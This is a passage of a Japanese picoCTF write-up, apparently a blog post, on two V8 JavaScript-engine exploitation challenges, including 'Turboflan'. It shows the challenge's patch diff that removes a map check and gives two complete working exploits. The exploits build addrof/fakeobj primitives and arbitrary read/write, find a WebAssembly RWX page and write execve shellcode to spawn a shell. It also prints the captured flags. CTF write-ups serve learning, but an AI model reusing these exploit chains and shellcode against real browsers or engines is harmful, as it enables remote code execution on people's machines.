この時kMapOffsetがfloat_arr_mapなのでV8はfloat型配列と誤認する // console.log("fakeobj:", (addrof(arb_rw_arr) + 0x4 * 9).toString(16)); let fake = fakeobj(addrof(arb_rw_arr) + 0x4 * 9); return ftoi2(fake[0])[0]; } function initial_arb_write(addr, val) { arb_rw_arr[1] = i2tof(addr - 0x4 * 2, 1 << 1); let fake = fakeobj(addrof(arb_rw_arr) + 0x4 * 9); fake[0] = i2tof(val, ftoi2(fake[0])[1]); } a = [1.1] // float_arr_mapが取れていることを確認 console.log(`[+] Check arb_read : ${float_arr_map.toString(16)} == ${arb_read(addrof(a)).toString(16)}`); // lengthを壊せていることを確認 initial_arb_write(addrof(a)+0xc, 1 << 16+1); console.log(`[+] Check initial_arb_write: ${1 << 16} == ${a.length}`); // https://wasdk.github.io/WasmFiddle/ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var rwx_page_addr1 = arb_read(addrof(wasm_instance)+0x68+4); var rwx_page_addr2 = arb_read(addrof(wasm_instance)+0x68); console.log(`[+] RWX Wasm page addr: 0x${rwx_page_addr1.toString(16)}${rwx_page_addr2.toString(16)}`) function copy_shellcode(addr1, addr2, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x14; console.log(`[+] Backstore pointer: ${backing_store_addr.toString(16)}`); initial_arb_write(backing_store_addr+4, addr1); initial_arb_write(backing_store_addr, addr2); for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } } var shellcode = [1936712, 1207959552, 1634494137, 2020879975, 2341030004, 256, 12291400, 1207959553, 826865201, 3234285778, 2, 2303198479, 3012380871, 512, 12765000, 1207959553, 49351, 84869120, 29869896, 1207959552, 114887, 84869120] console.log("[+] Copying execve shellcode to RWX page"); copy_shellcode(rwx_page_addr1, rwx_page_addr2, shellcode); console.log("[+] Got shell!!!!!!!!!"); f();
picoCTF{sh0u1d_hAv3_d0wnl0ad3d_m0r3_rAm_f922e29b3d2958bf}
今は問題欄見れないので正確な人数はわからないんですが、30人以上通してた気がします。頭おかしいですね...
Turboflan [600 points]
V8 ExploitでありBinary Explotitationのボス問です(絶望)
diff --git a/src/compiler/effect-control-linearizer.cc b/src/compiler/effect-control-linearizer.cc index d64c3c80e5..6bbd1e98b0 100644 --- a/src/compiler/effect-control-linearizer.cc +++ b/src/compiler/effect-control-linearizer.cc @@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) { Node* map = __ HeapConstant(maps[i]); Node* check = __ TaggedEqual(value_map, map); if (i == map_count - 1) { - __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check, - frame_state, IsSafetyCheck::kCriticalSafetyCheck); + // This makes me slow down! Can't have! Gotta go fast!! + // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check, + // frame_state, IsSafetyCheck::kCriticalSafetyCheck); } else { auto next_map = __ MakeLabel(); __ BranchWithCriticalSafetyCheck(check, &done, &next_map); @@ -1888,8 +1889,8 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) { Node* check = __ TaggedEqual(value_map, map); if (i == map_count - 1) { - __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check, - frame_state, IsSafetyCheck::kCriticalSafetyCheck); + // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check, + // frame_state, IsSafetyCheck::kCriticalSafetyCheck); } else { auto next_map = __ MakeLabel(); __ BranchWithCriticalSafetyCheck(check, &done, &next_map); diff --git a/src/d8/d8.cc b/src/d8/d8.cc index 999e8c2b96..72b729d94e 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -1107,6 +1107,11 @@ void Shell::ModuleResolutionSuccessCallback( resolver->Resolve(realm, module_namespace).ToChecked(); } +void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) { + __asm__("int3"); +} + + void Shell::ModuleResolutionFailureCallback( const FunctionCallbackInfo<Value>& info) { std::unique_ptr<ModuleResolutionData> module_resolution_data( @@ -2425,40 +2430,12 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) { Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), - String::NewFromUtf8Literal(isolate, "global")); + // Remove some unintented solutions global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version)); + global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint)); global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print)); - global_template->Set(isolate, "printErr", - FunctionTemplate::New(isolate, PrintErr)); - global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write)); - global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read)); - global_template->Set(isolate, "readbuffer", - FunctionTemplate::New(isolate, ReadBuffer)); - global_template->Set(isolate, "readline", - FunctionTemplate::New(isolate, ReadLine)); - global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load)); - global_template->Set(isolate, "setTimeout", - FunctionTemplate::New(isolate, SetTimeout)); - // Some Emscripten-generated code tries to call 'quit', which in turn would - // call C's exit(). This would lead to memory leaks, because there is no way - // we can terminate cleanly then, so we need a way to hide 'quit'. - if (!options.omit_quit) { - global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); - } - global_template->Set(isolate, "testRunner", - Shell::CreateTestRunnerTemplate(isolate)); - global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate)); - global_template->Set(isolate, "performance", - Shell::CreatePerformanceTemplate(isolate)); - global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate)); - // Prevent fuzzers from creating side effects. - if (!i::FLAG_fuzzing) { - global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate)); - } - global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate)); #ifdef V8_FUZZILLI global_template->Set( @@ -2467,11 +2444,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum); #endif // V8_FUZZILLI - if (i::FLAG_expose_async_hooks) { - global_template->Set(isolate, "async_hooks", - Shell::CreateAsyncHookTemplate(isolate)); - } - return global_template; } @@ -2673,10 +2645,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console, v8::Isolate::kMessageLog); } - isolate->SetHostImportModuleDynamicallyCallback( - Shell::HostImportModuleDynamically); - isolate->SetHostInitializeImportMetaObjectCallback( - Shell::HostInitializeImportMetaObject); + // isolate->SetHostImportModuleDynamicallyCallback( + // Shell::HostImportModuleDynamically); + // isolate->SetHostInitializeImportMetaObjectCallback( + // Shell::HostInitializeImportMetaObject); #ifdef V8_FUZZILLI // Let the parent process (Fuzzilli) know we are ready. diff --git a/src/d8/d8.h b/src/d8/d8.h index a9f6f3bc8b..2513761fa6 100644 --- a/src/d8/d8.h +++ b/src/d8/d8.h @@ -415,6 +415,8 @@ class Shell : public i::AllStatic { kNoProcessMessageQueue = false }; + static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args); + static bool ExecuteString(Isolate* isolate, Local<String> source, Local<Value> name, PrintResult print_result, ReportExceptions report_exceptions,
パッチ内容についてですが、いまだに理解できていません!!!!!(情報が少なすぎる)
今回はV8の最適化エンジン?であるTurbofanに関する問題のようです。Turbofanについては雰囲気でしか理解できてないので説明はしません。
Turbofanの問題はCTFでよく出るみたいなので類似Writeupを読み漁り、最終的にはExploiting the Math.expm1 typing bug in V8を参考にしました。
if (i == map_count - 1) { - __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check, - frame_state, IsSafetyCheck::kCriticalSafetyCheck); + // This makes me slow down! Can't have! Gotta go fast!! + // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check, + // frame_state, IsSafetyCheck::kCriticalSafetyCheck); }
重要なのはここでしょうか。最適化を外す処理が無効になっているみたいです。
Map
ということは連想配列の処理なのかな?と推測して手動Fuzzします。
すると、以下のようなプログラムでおかしな挙動を起こすことがわかりました。
var leak = 0; function vuln(o){ leak = o["A"]; }; obj1 = {"A": 777} for(let i = 0; i < 0x20000; i++) vuln(obj1); vuln(obj1); console.log(leak) // => 777 obj2 = {"B": 1337} vuln(obj2) console.log(leak) // => 1337
vulnではobj2["A"]を参照するはずですが、実際はobj2["B"]を返しています。最適化が外れていないため、同じオフセットの値を指しているのでしょうか?
その後もleakするプロパティの数を増やしたりしましたがセグフォが起こりやすくなったので試行錯誤してオブジェクトのアドレスを読める良い形を見つけました。
addrofとfakeobjが実装できたら後は基本的に先程と同じです。オフセットが変わる場合もあるのでgdbで調整します。
また、float_arr_mapをOOBで読もうとしてもうまくいかなかったので、値は前回のと同じだと決め打ちました。(ランダム化されないらしい)
ここまで整然と解いてるような文章ですが、実際には「ここにコメントが無いと動かないんだが????????」とか「リモートで動いてローカルで動かねぇ!!!!!!」とかかなり混乱しながらデバッグしてました。(終盤には「exploitの安定」と小声で連呼してたり色々と発狂しそうでした)
var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u32_buf = new Uint32Array(buf); function ftoi2(val) { f64_buf[0] = val; return [u32_buf[0], u32_buf[1]]; } function i2tof(val1, val2) { u32_buf[0] = val1; u32_buf[1] = val2; return f64_buf[0]; } leak = 1.1; function oob_read(o){ leak = o.a[0]; }; function oob_write(o){ o.a[0] = leak; }; init_obj = { a: [i2tof(1,1)] }; addrof_obj = { b: [{}] }; for(let i = 0; i < 0x20000; i++) oob_read(init_obj); for(let i = 0; i < 0x20000; i++) oob_write(init_obj); function addrof(obj){ addrof_obj.b[0] = obj; oob_read(addrof_obj); return ftoi2(leak)[0]; } function fakeobj(addr) { leak = i2tof(addr, ftoi2(leak)[1]); oob_write(addrof_obj); return addrof_obj.b[0]; } obj = {"hoge": 1337}; console.log(`[+] Check addrof and fakeobj: ${obj["hoge"]} == ${fakeobj(addrof(obj))["hoge"]}`); // float型配列のMap(型を表す値のようなもの?)を取得する var float_arr_map = 0x82439f1; // Objectと誤認させる配列 var arb_rw_arr = [i2tof(float_arr_map, 0), i2tof(0, 1 << 1), i2tof(0, 0)]; let fake = fakeobj(addrof(arb_rw_arr) + 0x4 * 24); console.log("fakeobj:", (addrof(arb_rw_arr) + 0x4 * 24).toString(16)); function arb_read(addr) { arb_rw_arr[1] = i2tof(addr - 0x4 * 2, 1 << 1); return ftoi2(fake[0])[0]; } function initial_arb_write(addr, val) { arb_rw_arr[1] = i2tof(addr - 0x4 * 2, 1 << 1); fake[0] = i2tof(val, ftoi2(fake[0])[1]); } a = [1.1]; a[0]; console.log(addrof(a).toString(16)); // float_arr_mapが取れていることを確認 console.log(`[+] Check arb_read : ${float_arr_map.toString(16)} == ${arb_read(addrof(a)).toString(16)}`); // lengthを壊せていることを確認 // Breakpoint(); initial_arb_write(addrof(a)+0xc, 1 << 16+1); // Breakpoint(); console.log(`[+] Check initial_arb_write: ${1 << 16} == ${a.length}`); // https://wasdk.github.io/WasmFiddle/ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var rwx_page_addr1 = arb_read(addrof(wasm_instance)+0x68+4); var rwx_page_addr2 = arb_read(addrof(wasm_instance)+0x68); console.log(`[+] RWX Wasm page addr: 0x${rwx_page_addr1.toString(16)}${rwx_page_addr2.toString(16)}`) function copy_shellcode(addr1, addr2, shellcode) { let buf = new ArrayBuffer(0x100); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x14; console.log(`[+] Backstore pointer: ${backing_store_addr.toString(16)}`); initial_arb_write(backing_store_addr+4, addr1); initial_arb_write(backing_store_addr, addr2); for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } } var shellcode = [1936712, 1207959552, 1634494137, 2020879975, 2341030004, 256, 12291400, 1207959553, 826865201, 3234285778, 2, 2303198479, 3012380871, 512, 12765000, 1207959553, 49351, 84869120, 29869896, 1207959552, 114887, 84869120] console.log("[+] Copying execve shellcode to RWX page"); copy_shellcode(rwx_page_addr1, rwx_page_addr2, shellcode); console.log("[+] Got shell!!!!!!!!!"); f();
picoCTF{Good_job!_Now_go_find_a_real_v8_cve!_af5019da9ba3419b}
V8 & Turbofan Exploit入門みたいな問題で面白かったし非常に参考になりました。
感想
前回(参加はしてないですが)と比べて難易度が大きく上がったように感じました。また、良問が多くなりクソ問の数は減ったと思いますが、それでもまだクソ問が多いとも感じました。(特にForensics)
日本一位という順位を取れましたが、参加してないプロも多そうなので驕ってはいけない(戒め)
だけどCognitiveHackJapanから賞金が貰えるのでそれはそれとして嬉しいですね、やったぜ!